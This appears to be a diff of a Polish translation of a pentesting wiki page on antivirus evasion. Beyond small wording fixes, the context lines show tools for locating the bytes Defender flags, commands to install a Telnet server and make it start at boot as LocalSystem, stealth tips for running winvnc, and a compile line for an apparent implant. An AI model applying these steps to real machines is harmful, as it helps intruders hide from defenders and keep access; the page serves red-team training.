||||
Możesz użyć [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), który **usunie części binariów**, aż **dowie się, która część Defender** uznaje za złośliwą i podzieli się tym z tobą.\
|
||||
Inne narzędzie robiące **to samo to** [**avred**](https://github.com/dobin/avred) z otwartą stroną internetową oferującą usługę w [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
Innym narzędziem robiącym **to samo jest** [**avred**](https://github.com/dobin/avred) z otwartą stroną internetową oferującą usługę w [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
|
||||
### **Telnet Server**
|
||||
|
||||
|
@ -359,7 +359,7 @@ Do Windows 10 wszystkie systemy Windows miały **serwer Telnet**, który można
|
|||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
Zrób, aby **uruchomiło się** przy starcie systemu i **uruchom** to teraz:
|
||||
Zrób, aby **uruchamiało się** przy starcie systemu i **uruchom** to teraz:
|
||||
```bash
|
||||
sc config TlntSVR start= auto obj= localsystem
|
||||
```
|
||||
|
@ -386,9 +386,9 @@ Następnie przenieś plik binarny _**winvnc.exe**_ oraz **nowo** utworzony plik
|
|||
|
||||
**OSTRZEŻENIE:** Aby zachować dyskrecję, nie należy robić kilku rzeczy
|
||||
|
||||
* Nie uruchamiaj `winvnc`, jeśli już działa, ponieważ spowoduje to wywołanie [popupu](https://i.imgur.com/1SROTTl.png). Sprawdź, czy działa, używając `tasklist | findstr winvnc`
|
||||
* Nie uruchamiaj `winvnc` bez `UltraVNC.ini` w tym samym katalogu, ponieważ spowoduje to otwarcie [okna konfiguracyjnego](https://i.imgur.com/rfMQWcf.png)
|
||||
* Nie uruchamiaj `winvnc -h` w celu uzyskania pomocy, ponieważ spowoduje to wywołanie [popupu](https://i.imgur.com/oc18wcu.png)
|
||||
* Nie uruchamiaj `winvnc`, jeśli już działa, bo wywołasz [popup](https://i.imgur.com/1SROTTl.png). Sprawdź, czy działa, używając `tasklist | findstr winvnc`
|
||||
* Nie uruchamiaj `winvnc` bez `UltraVNC.ini` w tym samym katalogu, bo spowoduje to otwarcie [okna konfiguracyjnego](https://i.imgur.com/rfMQWcf.png)
|
||||
* Nie uruchamiaj `winvnc -h` w celu uzyskania pomocy, bo wywołasz [popup](https://i.imgur.com/oc18wcu.png)
|
||||
|
||||
### GreatSCT
|
||||
|
||||
|
@ -536,7 +536,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
|
|||
* [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
||||
* [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
||||
|
||||
### Używanie Pythona do przykładu budowy injectorów:
|
||||
### Używanie Pythona do budowy przykładów injectorów:
|
||||
|
||||
* [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
||||
|
||||
|
@ -569,7 +569,7 @@ https://github.com/praetorian-code/vulcan
|
|||
|
||||
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz zhakować to, co nie do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
|
|